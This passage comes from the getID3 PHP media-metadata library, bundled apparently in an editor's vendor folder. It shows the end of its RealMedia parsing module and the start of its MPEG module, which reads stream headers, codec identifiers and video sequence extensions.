								$this->ParseOldRAheader($thisfile_real_chunks_currentchunk_typespecificdata, $thisfile_real_chunks_currentchunk['parsed_audio_data']);

								$info['audio']['sample_rate']     = $thisfile_real_chunks_currentchunk['parsed_audio_data']['sample_rate'];
								$info['audio']['bits_per_sample'] = $thisfile_real_chunks_currentchunk['parsed_audio_data']['bits_per_sample'];
								$info['audio']['channels']        = $thisfile_real_chunks_currentchunk['parsed_audio_data']['channels'];
								if (!empty($info['audio']['dataformat'])) {
									foreach ($info['audio'] as $key => $value) {
										if ($key != 'streams') {
											$info['audio']['streams'][$thisfile_real_chunks_currentchunk['stream_number']][$key] = $value;
										}
									}
								}
								break;

							case 'logical-fileinfo':
								// shortcut
								$thisfile_real_chunks_currentchunk['logical_fileinfo'] = array();
								$thisfile_real_chunks_currentchunk_logicalfileinfo     = &$thisfile_real_chunks_currentchunk['logical_fileinfo'];

								$thisfile_real_chunks_currentchunk_logicalfileinfo_offset = 0;
								$thisfile_real_chunks_currentchunk_logicalfileinfo['logical_fileinfo_length'] = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, $thisfile_real_chunks_currentchunk_logicalfileinfo_offset, 4));
								$thisfile_real_chunks_currentchunk_logicalfileinfo_offset += 4;

								//$thisfile_real_chunks_currentchunk_logicalfileinfo['unknown1']                = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, $thisfile_real_chunks_currentchunk_logicalfileinfo_offset, 4));
								$thisfile_real_chunks_currentchunk_logicalfileinfo_offset += 4;

								$thisfile_real_chunks_currentchunk_logicalfileinfo['num_tags']                = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, $thisfile_real_chunks_currentchunk_logicalfileinfo_offset, 4));
								$thisfile_real_chunks_currentchunk_logicalfileinfo_offset += 4;

								//$thisfile_real_chunks_currentchunk_logicalfileinfo['unknown2']                = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, $thisfile_real_chunks_currentchunk_logicalfileinfo_offset, 4));
								$thisfile_real_chunks_currentchunk_logicalfileinfo_offset += 4;

								//$thisfile_real_chunks_currentchunk_logicalfileinfo['d']                       = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, $thisfile_real_chunks_currentchunk_logicalfileinfo_offset, 1));

								//$thisfile_real_chunks_currentchunk_logicalfileinfo['one_type'] = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata,     $thisfile_real_chunks_currentchunk_logicalfileinfo_offset, 4));
								//$thisfile_real_chunks_currentchunk_logicalfileinfo_thislength  = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, 4 + $thisfile_real_chunks_currentchunk_logicalfileinfo_offset, 2));
								//$thisfile_real_chunks_currentchunk_logicalfileinfo['one']      =                           substr($thisfile_real_chunks_currentchunk_typespecificdata, 6 + $thisfile_real_chunks_currentchunk_logicalfileinfo_offset, $thisfile_real_chunks_currentchunk_logicalfileinfo_thislength);
								//$thisfile_real_chunks_currentchunk_logicalfileinfo_offset += (6 + $thisfile_real_chunks_currentchunk_logicalfileinfo_thislength);

								break;

						}


						if (empty($info['playtime_seconds'])) {
							$info['playtime_seconds'] = max($info['playtime_seconds'], ($thisfile_real_chunks_currentchunk['duration'] + $thisfile_real_chunks_currentchunk['start_time']) / 1000);
						}
						if ($thisfile_real_chunks_currentchunk['duration'] > 0) {
							switch ($thisfile_real_chunks_currentchunk['mime_type']) {
								case 'audio/x-pn-realaudio':
								case 'audio/x-pn-multirate-realaudio':
									$info['audio']['bitrate']    = (isset($info['audio']['bitrate']) ? $info['audio']['bitrate'] : 0) + $thisfile_real_chunks_currentchunk['avg_bit_rate'];
									$info['audio']['codec']      = $this->RealAudioCodecFourCClookup($thisfile_real_chunks_currentchunk['parsed_audio_data']['fourcc'], $info['audio']['bitrate']);
									$info['audio']['dataformat'] = 'real';
									$info['audio']['lossless']   = false;
									break;

								case 'video/x-pn-realvideo':
								case 'video/x-pn-multirate-realvideo':
									$info['video']['bitrate']            = (isset($info['video']['bitrate']) ? $info['video']['bitrate'] : 0) + $thisfile_real_chunks_currentchunk['avg_bit_rate'];
									$info['video']['bitrate_mode']       = 'cbr';
									$info['video']['dataformat']         = 'real';
									$info['video']['lossless']           = false;
									$info['video']['pixel_aspect_ratio'] = (float) 1;
									break;

								case 'audio/x-ralf-mpeg4-generic':
									$info['audio']['bitrate']    = (isset($info['audio']['bitrate']) ? $info['audio']['bitrate'] : 0) + $thisfile_real_chunks_currentchunk['avg_bit_rate'];
									$info['audio']['codec']      = 'RealAudio Lossless';
									$info['audio']['dataformat'] = 'real';
									$info['audio']['lossless']   = true;
									break;
							}
							$info['bitrate'] = (isset($info['video']['bitrate']) ? $info['video']['bitrate'] : 0) + (isset($info['audio']['bitrate']) ? $info['audio']['bitrate'] : 0);
						}
					}
					break;

				case 'CONT': // Content Description Header (text comments)
					$thisfile_real_chunks_currentchunk['object_version'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 2));
					$offset += 2;
					if ($thisfile_real_chunks_currentchunk['object_version'] == 0) {
						$thisfile_real_chunks_currentchunk['title_len'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 2));
						$offset += 2;
						$thisfile_real_chunks_currentchunk['title'] = (string) substr($ChunkData, $offset, $thisfile_real_chunks_currentchunk['title_len']);
						$offset += $thisfile_real_chunks_currentchunk['title_len'];

						$thisfile_real_chunks_currentchunk['artist_len'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 2));
						$offset += 2;
						$thisfile_real_chunks_currentchunk['artist'] = (string) substr($ChunkData, $offset, $thisfile_real_chunks_currentchunk['artist_len']);
						$offset += $thisfile_real_chunks_currentchunk['artist_len'];

						$thisfile_real_chunks_currentchunk['copyright_len'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 2));
						$offset += 2;
						$thisfile_real_chunks_currentchunk['copyright'] = (string) substr($ChunkData, $offset, $thisfile_real_chunks_currentchunk['copyright_len']);
						$offset += $thisfile_real_chunks_currentchunk['copyright_len'];

						$thisfile_real_chunks_currentchunk['comment_len'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 2));
						$offset += 2;
						$thisfile_real_chunks_currentchunk['comment'] = (string) substr($ChunkData, $offset, $thisfile_real_chunks_currentchunk['comment_len']);
						$offset += $thisfile_real_chunks_currentchunk['comment_len'];


						$commentkeystocopy = array('title'=>'title', 'artist'=>'artist', 'copyright'=>'copyright', 'comment'=>'comment');
						foreach ($commentkeystocopy as $key => $val) {
							if ($thisfile_real_chunks_currentchunk[$key]) {
								$info['real']['comments'][$val][] = trim($thisfile_real_chunks_currentchunk[$key]);
							}
						}

					}
					break;


				case 'DATA': // Data Chunk Header
					// do nothing
					break;

				case 'INDX': // Index Section Header
					$thisfile_real_chunks_currentchunk['object_version']        = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 2));
					$offset += 2;
					if ($thisfile_real_chunks_currentchunk['object_version'] == 0) {
						$thisfile_real_chunks_currentchunk['num_indices']       = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4));
						$offset += 4;
						$thisfile_real_chunks_currentchunk['stream_number']     = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 2));
						$offset += 2;
						$thisfile_real_chunks_currentchunk['next_index_header'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4));
						$offset += 4;

						if ($thisfile_real_chunks_currentchunk['next_index_header'] == 0) {
							// last index chunk found, ignore rest of file
							break 2;
						} else {
							// non-last index chunk, seek to next index chunk (skipping actual index data)
							$this->fseek($thisfile_real_chunks_currentchunk['next_index_header']);
						}
					}
					break;

				default:
					$this->warning('Unhandled RealMedia chunk "'.$ChunkName.'" at offset '.$thisfile_real_chunks_currentchunk['offset']);
					break;
			}
			$ChunkCounter++;
		}

		if (!empty($info['audio']['streams'])) {
			$info['audio']['bitrate'] = 0;
			foreach ($info['audio']['streams'] as $key => $valuearray) {
				$info['audio']['bitrate'] += $valuearray['bitrate'];
			}
		}

		return true;
	}


	public function ParseOldRAheader($OldRAheaderData, &$ParsedArray) {
		// http://www.freelists.org/archives/matroska-devel/07-2003/msg00010.html

		$ParsedArray = array();
		$ParsedArray['magic'] = substr($OldRAheaderData, 0, 4);
		if ($ParsedArray['magic'] != '.ra'."\xFD") {
			return false;
		}
		$ParsedArray['version1']         = getid3_lib::BigEndian2Int(substr($OldRAheaderData,  4, 2));

		if ($ParsedArray['version1'] < 3) {

			return false;

		} elseif ($ParsedArray['version1'] == 3) {

			$ParsedArray['fourcc1']          = '.ra3';
			$ParsedArray['bits_per_sample']  = 16;   // hard-coded for old versions?
			$ParsedArray['sample_rate']      = 8000; // hard-coded for old versions?

			$ParsedArray['header_size']      = getid3_lib::BigEndian2Int(substr($OldRAheaderData,  6, 2));
			$ParsedArray['channels']         = getid3_lib::BigEndian2Int(substr($OldRAheaderData,  8, 2)); // always 1 (?)
			//$ParsedArray['unknown1']         = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 10, 2));
			//$ParsedArray['unknown2']         = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 12, 2));
			//$ParsedArray['unknown3']         = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 14, 2));
			$ParsedArray['bytes_per_minute'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 16, 2));
			$ParsedArray['audio_bytes']      = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 18, 4));
			$ParsedArray['comments_raw']     =                           substr($OldRAheaderData, 22, $ParsedArray['header_size'] - 22 + 1); // not including null terminator

			$commentoffset = 0;
			$commentlength = getid3_lib::BigEndian2Int(substr($ParsedArray['comments_raw'], $commentoffset++, 1));
			$ParsedArray['comments']['title'][]     = substr($ParsedArray['comments_raw'], $commentoffset, $commentlength);
			$commentoffset += $commentlength;

			$commentlength = getid3_lib::BigEndian2Int(substr($ParsedArray['comments_raw'], $commentoffset++, 1));
			$ParsedArray['comments']['artist'][]    = substr($ParsedArray['comments_raw'], $commentoffset, $commentlength);
			$commentoffset += $commentlength;

			$commentlength = getid3_lib::BigEndian2Int(substr($ParsedArray['comments_raw'], $commentoffset++, 1));
			$ParsedArray['comments']['copyright'][] = substr($ParsedArray['comments_raw'], $commentoffset, $commentlength);
			$commentoffset += $commentlength;

			$commentoffset++; // final null terminator (?)
			$commentoffset++; // fourcc length (?) should be 4
			$ParsedArray['fourcc']           =                           substr($OldRAheaderData, 23 + $commentoffset, 4);

		} elseif ($ParsedArray['version1'] <= 5) {

			//$ParsedArray['unknown1']         = getid3_lib::BigEndian2Int(substr($OldRAheaderData,  6, 2));
			$ParsedArray['fourcc1']          =                           substr($OldRAheaderData,  8, 4);
			$ParsedArray['file_size']        = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 12, 4));
			$ParsedArray['version2']         = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 16, 2));
			$ParsedArray['header_size']      = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 18, 4));
			$ParsedArray['codec_flavor_id']  = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 22, 2));
			$ParsedArray['coded_frame_size'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 24, 4));
			$ParsedArray['audio_bytes']      = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 28, 4));
			$ParsedArray['bytes_per_minute'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 32, 4));
			//$ParsedArray['unknown5']         = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 36, 4));
			$ParsedArray['sub_packet_h']     = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 40, 2));
			$ParsedArray['frame_size']       = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 42, 2));
			$ParsedArray['sub_packet_size']  = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 44, 2));
			//$ParsedArray['unknown6']         = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 46, 2));

			switch ($ParsedArray['version1']) {

				case 4:
					$ParsedArray['sample_rate']      = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 48, 2));
					//$ParsedArray['unknown8']         = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 50, 2));
					$ParsedArray['bits_per_sample']  = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 52, 2));
					$ParsedArray['channels']         = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 54, 2));
					$ParsedArray['length_fourcc2']   = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 56, 1));
					$ParsedArray['fourcc2']          =                           substr($OldRAheaderData, 57, 4);
					$ParsedArray['length_fourcc3']   = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 61, 1));
					$ParsedArray['fourcc3']          =                           substr($OldRAheaderData, 62, 4);
					//$ParsedArray['unknown9']         = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 66, 1));
					//$ParsedArray['unknown10']        = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 67, 2));
					$ParsedArray['comments_raw']     =                           substr($OldRAheaderData, 69, $ParsedArray['header_size'] - 69 + 16);

					$commentoffset = 0;
					$commentlength = getid3_lib::BigEndian2Int(substr($ParsedArray['comments_raw'], $commentoffset++, 1));
					$ParsedArray['comments']['title'][]     = substr($ParsedArray['comments_raw'], $commentoffset, $commentlength);
					$commentoffset += $commentlength;

					$commentlength = getid3_lib::BigEndian2Int(substr($ParsedArray['comments_raw'], $commentoffset++, 1));
					$ParsedArray['comments']['artist'][]    = substr($ParsedArray['comments_raw'], $commentoffset, $commentlength);
					$commentoffset += $commentlength;

					$commentlength = getid3_lib::BigEndian2Int(substr($ParsedArray['comments_raw'], $commentoffset++, 1));
					$ParsedArray['comments']['copyright'][] = substr($ParsedArray['comments_raw'], $commentoffset, $commentlength);
					$commentoffset += $commentlength;
					break;

				case 5:
					$ParsedArray['sample_rate']      = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 48, 4));
					$ParsedArray['sample_rate2']     = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 52, 4));
					$ParsedArray['bits_per_sample']  = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 56, 4));
					$ParsedArray['channels']         = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 60, 2));
					$ParsedArray['genr']             =                           substr($OldRAheaderData, 62, 4);
					$ParsedArray['fourcc3']          =                           substr($OldRAheaderData, 66, 4);
					$ParsedArray['comments']         = array();
					break;
			}
			$ParsedArray['fourcc'] = $ParsedArray['fourcc3'];

		}
		foreach ($ParsedArray['comments'] as $key => $value) {
			if ($ParsedArray['comments'][$key][0] === false) {
				$ParsedArray['comments'][$key][0] = '';
			}
		}

		return true;
	}

	public function RealAudioCodecFourCClookup($fourcc, $bitrate) {
		static $RealAudioCodecFourCClookup = array();
		if (empty($RealAudioCodecFourCClookup)) {
			// http://www.its.msstate.edu/net/real/reports/config/tags.stats
			// http://www.freelists.org/archives/matroska-devel/06-2003/fullthread18.html

			$RealAudioCodecFourCClookup['14_4'][8000]  = 'RealAudio v2 (14.4kbps)';
			$RealAudioCodecFourCClookup['14.4'][8000]  = 'RealAudio v2 (14.4kbps)';
			$RealAudioCodecFourCClookup['lpcJ'][8000]  = 'RealAudio v2 (14.4kbps)';
			$RealAudioCodecFourCClookup['28_8'][15200] = 'RealAudio v2 (28.8kbps)';
			$RealAudioCodecFourCClookup['28.8'][15200] = 'RealAudio v2 (28.8kbps)';
			$RealAudioCodecFourCClookup['sipr'][4933]  = 'RealAudio v4 (5kbps Voice)';
			$RealAudioCodecFourCClookup['sipr'][6444]  = 'RealAudio v4 (6.5kbps Voice)';
			$RealAudioCodecFourCClookup['sipr'][8444]  = 'RealAudio v4 (8.5kbps Voice)';
			$RealAudioCodecFourCClookup['sipr'][16000] = 'RealAudio v4 (16kbps Wideband)';
			$RealAudioCodecFourCClookup['dnet'][8000]  = 'RealAudio v3 (8kbps Music)';
			$RealAudioCodecFourCClookup['dnet'][16000] = 'RealAudio v3 (16kbps Music Low Response)';
			$RealAudioCodecFourCClookup['dnet'][15963] = 'RealAudio v3 (16kbps Music Mid/High Response)';
			$RealAudioCodecFourCClookup['dnet'][20000] = 'RealAudio v3 (20kbps Music Stereo)';
			$RealAudioCodecFourCClookup['dnet'][32000] = 'RealAudio v3 (32kbps Music Mono)';
			$RealAudioCodecFourCClookup['dnet'][31951] = 'RealAudio v3 (32kbps Music Stereo)';
			$RealAudioCodecFourCClookup['dnet'][39965] = 'RealAudio v3 (40kbps Music Mono)';
			$RealAudioCodecFourCClookup['dnet'][40000] = 'RealAudio v3 (40kbps Music Stereo)';
			$RealAudioCodecFourCClookup['dnet'][79947] = 'RealAudio v3 (80kbps Music Mono)';
			$RealAudioCodecFourCClookup['dnet'][80000] = 'RealAudio v3 (80kbps Music Stereo)';

			$RealAudioCodecFourCClookup['dnet'][0] = 'RealAudio v3';
			$RealAudioCodecFourCClookup['sipr'][0] = 'RealAudio v4';
			$RealAudioCodecFourCClookup['cook'][0] = 'RealAudio G2';
			$RealAudioCodecFourCClookup['atrc'][0] = 'RealAudio 8';
		}
		$roundbitrate = intval(round($bitrate));
		if (isset($RealAudioCodecFourCClookup[$fourcc][$roundbitrate])) {
			return $RealAudioCodecFourCClookup[$fourcc][$roundbitrate];
		} elseif (isset($RealAudioCodecFourCClookup[$fourcc][0])) {
			return $RealAudioCodecFourCClookup[$fourcc][0];
		}
		return $fourcc;
	}

}
editor/libraries/classes/vendor/getid3/getid3/module.audio-video.mpeg.php000060400000121545150750527150022442 0ustar00<?php
/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at http://getid3.sourceforge.net                 //
//            or http://www.getid3.org                         //
//          also https://github.com/JamesHeinrich/getID3       //
/////////////////////////////////////////////////////////////////
// See readme.txt for more details                             //
/////////////////////////////////////////////////////////////////
//                                                             //
// module.audio-video.mpeg.php                                 //
// module for analyzing MPEG files                             //
// dependencies: module.audio.mp3.php                          //
//                                                            ///
/////////////////////////////////////////////////////////////////

getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.mp3.php', __FILE__, true);

class getid3_mpeg extends getid3_handler {

	const START_CODE_BASE       = "\x00\x00\x01";
	const VIDEO_PICTURE_START   = "\x00\x00\x01\x00";
	const VIDEO_USER_DATA_START = "\x00\x00\x01\xB2";
	const VIDEO_SEQUENCE_HEADER = "\x00\x00\x01\xB3";
	const VIDEO_SEQUENCE_ERROR  = "\x00\x00\x01\xB4";
	const VIDEO_EXTENSION_START = "\x00\x00\x01\xB5";
	const VIDEO_SEQUENCE_END    = "\x00\x00\x01\xB7";
	const VIDEO_GROUP_START     = "\x00\x00\x01\xB8";
	const AUDIO_START           = "\x00\x00\x01\xC0";


	public function Analyze() {
		$info = &$this->getid3->info;

		$info['fileformat'] = 'mpeg';
		$this->fseek($info['avdataoffset']);

		$MPEGstreamData = $this->fread($this->getid3->option_fread_buffer_size);
		$MPEGstreamBaseOffset = 0; // how far are we from the beginning of the file data ($info['avdataoffset'])
		$MPEGstreamDataOffset = 0; // how far are we from the beginning of the buffer data (~32kB)

		$StartCodeValue     = false;
		$prevStartCodeValue = false;

		$GOPcounter = -1;
		$FramesByGOP = array();
		$ParsedAVchannels = array();

		do {
//echo $MPEGstreamDataOffset.' vs '.(strlen($MPEGstreamData) - 1024).'<Br>';
			if ($MPEGstreamDataOffset > (strlen($MPEGstreamData) - 16384)) {
				// buffer running low, get more data
//echo 'reading more data<br>';
				$MPEGstreamData .= $this->fread($this->getid3->option_fread_buffer_size);
				if (strlen($MPEGstreamData) > $this->getid3->option_fread_buffer_size) {
					$MPEGstreamData = substr($MPEGstreamData, $MPEGstreamDataOffset);
					$MPEGstreamBaseOffset += $MPEGstreamDataOffset;
					$MPEGstreamDataOffset  = 0;
				}
			}
			if (($StartCodeOffset = strpos($MPEGstreamData, self::START_CODE_BASE, $MPEGstreamDataOffset)) === false) {
//echo 'no more start codes found.<br>';
				break;
			} else {
				$MPEGstreamDataOffset = $StartCodeOffset;
				$prevStartCodeValue = $StartCodeValue;
				$StartCodeValue = ord(substr($MPEGstreamData, $StartCodeOffset + 3, 1));
//echo 'Found "'.strtoupper(dechex($StartCodeValue)).'" at offset '.($MPEGstreamBaseOffset + $StartCodeOffset).' ($MPEGstreamDataOffset = '.$MPEGstreamDataOffset.')<br>';
			}
			$MPEGstreamDataOffset += 4;
			switch ($StartCodeValue) {

				case 0x00: // picture_start_code
					if (!empty($info['mpeg']['video']['bitrate_mode']) && ($info['mpeg']['video']['bitrate_mode'] == 'vbr')) {
						$bitstream = getid3_lib::BigEndian2Bin(substr($MPEGstreamData, $StartCodeOffset + 4, 4));
						$bitstreamoffset = 0;

						$PictureHeader = array();

						$PictureHeader['temporal_reference']  = self::readBitsFromStream($bitstream, $bitstreamoffset, 10); // 10-bit unsigned integer associated with each input picture. It is incremented by one, modulo 1024, for each input frame. When a frame is coded as two fields the temporal reference in the picture header of both fields is the same. Following a group start header the temporal reference of the earliest picture (in display order) shall be reset to zero.
						$PictureHeader['picture_coding_type'] = self::readBitsFromStream($bitstream, $bitstreamoffset,  3); //  3 bits for picture_coding_type
						$PictureHeader['vbv_delay']           = self::readBitsFromStream($bitstream, $bitstreamoffset, 16); // 16 bits for vbv_delay
						//... etc

						$FramesByGOP[$GOPcounter][] = $PictureHeader;
					}
					break;

				case 0xB3: // sequence_header_code
					/*
					Note: purposely doing the less-pretty (and probably a bit slower) method of using string of bits rather than bitwise operations.
					      Mostly because PHP 32-bit doesn't handle unsigned integers well for bitwise operation.
					      Also the MPEG stream is designed as a bitstream and often doesn't align nicely with byte boundaries.
					*/
					$info['video']['codec'] = 'MPEG-1'; // will be updated if extension_start_code found

					$bitstream = getid3_lib::BigEndian2Bin(substr($MPEGstreamData, $StartCodeOffset + 4, 8));
					$bitstreamoffset = 0;

					$info['mpeg']['video']['raw']['horizontal_size_value']       = self::readBitsFromStream($bitstream, $bitstreamoffset, 12); // 12 bits for horizontal frame size. Note: horizontal_size_extension, if present, will add 2 most-significant bits to this value
					$info['mpeg']['video']['raw']['vertical_size_value']         = self::readBitsFromStream($bitstream, $bitstreamoffset, 12); // 12 bits for vertical frame size.   Note: vertical_size_extension,   if present, will add 2 most-significant bits to this value
					$info['mpeg']['video']['raw']['aspect_ratio_information']    = self::readBitsFromStream($bitstream, $bitstreamoffset,  4); //  4 bits for aspect_ratio_information
					$info['mpeg']['video']['raw']['frame_rate_code']             = self::readBitsFromStream($bitstream, $bitstreamoffset,  4); //  4 bits for Frame Rate id code
					$info['mpeg']['video']['raw']['bitrate']                     = self::readBitsFromStream($bitstream, $bitstreamoffset, 18); // 18 bits for bit_rate_value (18 set bits = VBR, otherwise bitrate = this value * 400)
					$marker_bit                                                  = self::readBitsFromStream($bitstream, $bitstreamoffset,  1); // The term "marker_bit" indicates a one bit field in which the value zero is forbidden. These marker bits are introduced at several points in the syntax to avoid start code emulation.
					$info['mpeg']['video']['raw']['vbv_buffer_size']             = self::readBitsFromStream($bitstream, $bitstreamoffset, 10); // 10 bits vbv_buffer_size_value
					$info['mpeg']['video']['raw']['constrained_param_flag']      = self::readBitsFromStream($bitstream, $bitstreamoffset,  1); //  1 bit flag: constrained_param_flag
					$info['mpeg']['video']['raw']['load_intra_quantiser_matrix'] = self::readBitsFromStream($bitstream, $bitstreamoffset,  1); //  1 bit flag: load_intra_quantiser_matrix

					if ($info['mpeg']['video']['raw']['load_intra_quantiser_matrix']) {
						$bitstream .= getid3_lib::BigEndian2Bin(substr($MPEGstreamData, $StartCodeOffset + 12, 64));
						for ($i = 0; $i < 64; $i++) {
							$info['mpeg']['video']['raw']['intra_quantiser_matrix'][$i] = self::readBitsFromStream($bitstream, $bitstreamoffset,  8);
						}
					}
					$info['mpeg']['video']['raw']['load_non_intra_quantiser_matrix'] = self::readBitsFromStream($bitstream, $bitstreamoffset,  1);

					if ($info['mpeg']['video']['raw']['load_non_intra_quantiser_matrix']) {
						$bitstream .= getid3_lib::BigEndian2Bin(substr($MPEGstreamData, $StartCodeOffset + 12 + ($info['mpeg']['video']['raw']['load_intra_quantiser_matrix'] ? 64 : 0), 64));
						for ($i = 0; $i < 64; $i++) {
							$info['mpeg']['video']['raw']['non_intra_quantiser_matrix'][$i] = self::readBitsFromStream($bitstream, $bitstreamoffset,  8);
						}
					}

					$info['mpeg']['video']['pixel_aspect_ratio']      =     self::videoAspectRatioLookup($info['mpeg']['video']['raw']['aspect_ratio_information']);
					$info['mpeg']['video']['pixel_aspect_ratio_text'] = self::videoAspectRatioTextLookup($info['mpeg']['video']['raw']['aspect_ratio_information']);
					$info['mpeg']['video']['frame_rate']              =       self::videoFramerateLookup($info['mpeg']['video']['raw']['frame_rate_code']);
					if ($info['mpeg']['video']['raw']['bitrate'] == 0x3FFFF) { // 18 set bits = VBR
						//$this->warning('This version of getID3() ['.$this->getid3->version().'] cannot determine average bitrate of VBR MPEG video files');
						$info['mpeg']['video']['bitrate_mode'] = 'vbr';
					} else {
						$info['mpeg']['video']['bitrate']      = $info['mpeg']['video']['raw']['bitrate'] * 400;
						$info['mpeg']['video']['bitrate_mode'] = 'cbr';
						$info['video']['bitrate']              = $info['mpeg']['video']['bitrate'];
					}
					$info['video']['resolution_x']       = $info['mpeg']['video']['raw']['horizontal_size_value'];
					$info['video']['resolution_y']       = $info['mpeg']['video']['raw']['vertical_size_value'];
					$info['video']['frame_rate']         = $info['mpeg']['video']['frame_rate'];
					$info['video']['bitrate_mode']       = $info['mpeg']['video']['bitrate_mode'];
					$info['video']['pixel_aspect_ratio'] = $info['mpeg']['video']['pixel_aspect_ratio'];
					$info['video']['lossless']           = false;
					$info['video']['bits_per_sample']    = 24;
					break;

				case 0xB5: // extension_start_code
					$info['video']['codec'] = 'MPEG-2';

					$bitstream = getid3_lib::BigEndian2Bin(substr($MPEGstreamData, $StartCodeOffset + 4, 8)); // 48 bits for Sequence Extension ID; 61 bits for Sequence Display Extension ID; 59 bits for Sequence Scalable Extension ID
					$bitstreamoffset = 0;

					$info['mpeg']['video']['raw']['extension_start_code_identifier'] = self::readBitsFromStream($bitstream, $bitstreamoffset,  4); //  4 bits for extension_start_code_identifier
//echo $info['mpeg']['video']['raw']['extension_start_code_identifier'].'<br>';
					switch ($info['mpeg']['video']['raw']['extension_start_code_identifier']) {
						case  1: // 0001 Sequence Extension ID
							$info['mpeg']['video']['raw']['profile_and_level_indication']    = self::readBitsFromStream($bitstream, $bitstreamoffset,  8); //  8 bits for profile_and_level_indication
							$info['mpeg']['video']['raw']['progressive_sequence']            = self::readBitsFromStream($bitstream, $bitstreamoffset,  1); //  1 bit flag: progressive_sequence
							$info['mpeg']['video']['raw']['chroma_format']                   = self::readBitsFromStream($bitstream, $bitstreamoffset,  2); //  2 bits for chroma_format
							$info['mpeg']['video']['raw']['horizontal_size_extension']       = self::readBitsFromStream($bitstream, $bitstreamoffset,  2); //  2 bits for horizontal_size_extension
							$info['mpeg']['video']['raw']['vertical_size_extension']         = self::readBitsFromStream($bitstream, $bitstreamoffset,  2); //  2 bits for vertical_size_extension
							$info['mpeg']['video']['raw']['bit_rate_extension']              = self::readBitsFromStream($bitstream, $bitstreamoffset, 12); // 12 bits for bit_rate_extension
							$marker_bit                                                      = self::readBitsFromStream($bitstream, $bitstreamoffset,  1); // The term "marker_bit" indicates a one bit field in which the value zero is forbidden. These marker bits are introduced at several points in the syntax to avoid start code emulation.
							$info['mpeg']['video']['raw']['vbv_buffer_size_extension']       = self::readBitsFromStream($bitstream, $bitstreamoffset,  8); //  8 bits for vbv_buffer_size_extension
							$info['mpeg']['video']['raw']['low_delay']                       = self::readBitsFromStream($bitstream, $bitstreamoffset,  1); //  1 bit flag: low_delay
							$info['mpeg']['video']['raw']['frame_rate_extension_n']          = self::readBitsFromStream($bitstream, $bitstreamoffset,  2); //  2 bits for frame_rate_extension_n
							$info['mpeg']['video']['raw']['frame_rate_extension_d']          = self::readBitsFromStream($bitstream, $bitstreamoffset,  5); //  5 bits for frame_rate_extension_d

							$info['video']['resolution_x']          = ($info['mpeg']['video']['raw']['horizontal_size_extension'] << 12) | $info['mpeg']['video']['raw']['horizontal_size_value'];
							$info['video']['resolution_y']          = ($info['mpeg']['video']['raw']['vertical_size_extension']   << 12) | $info['mpeg']['video']['raw']['vertical_size_value'];
							$info['video']['interlaced']            = !$info['mpeg']['video']['raw']['progressive_sequence'];
							$info['mpeg']['video']['interlaced']    = !$info['mpeg']['video']['raw']['progressive_sequence'];
							$info['mpeg']['video']['chroma_format'] = self::chromaFormatTextLookup($info['mpeg']['video']['raw']['chroma_format']);
							break;

						case  2: // 0010 Sequence Display Extension ID
							$info['mpeg']['video']['raw']['video_format']                    = self::readBitsFromStream($bitstream, $bitstreamoffset,  3); //  3 bits for video_format
							$info['mpeg']['video']['raw']['colour_description']              = self::readBitsFromStream($bitstream, $bitstreamoffset,  1); //  1 bit flag: colour_description
							if ($info['mpeg']['video']['raw']['colour_description']) {
								$info['mpeg']['video']['raw']['colour_primaries']            = self::readBitsFromStream($bitstream, $bitstreamoffset,  8); //  8 bits for colour_primaries
								$info['mpeg']['video']['raw']['transfer_characteristics']    = self::readBitsFromStream($bitstream, $bitstreamoffset,  8); //  8 bits for transfer_characteristics
								$info['mpeg']['video']['raw']['matrix_coefficients']         = self::readBitsFromStream($bitstream, $bitstreamoffset,  8); //  8 bits for matrix_coefficients
							}
							$info['mpeg']['video']['raw']['display_horizontal_size']         = self::readBitsFromStream($bitstream, $bitstreamoffset, 14); // 14 bits for display_horizontal_size
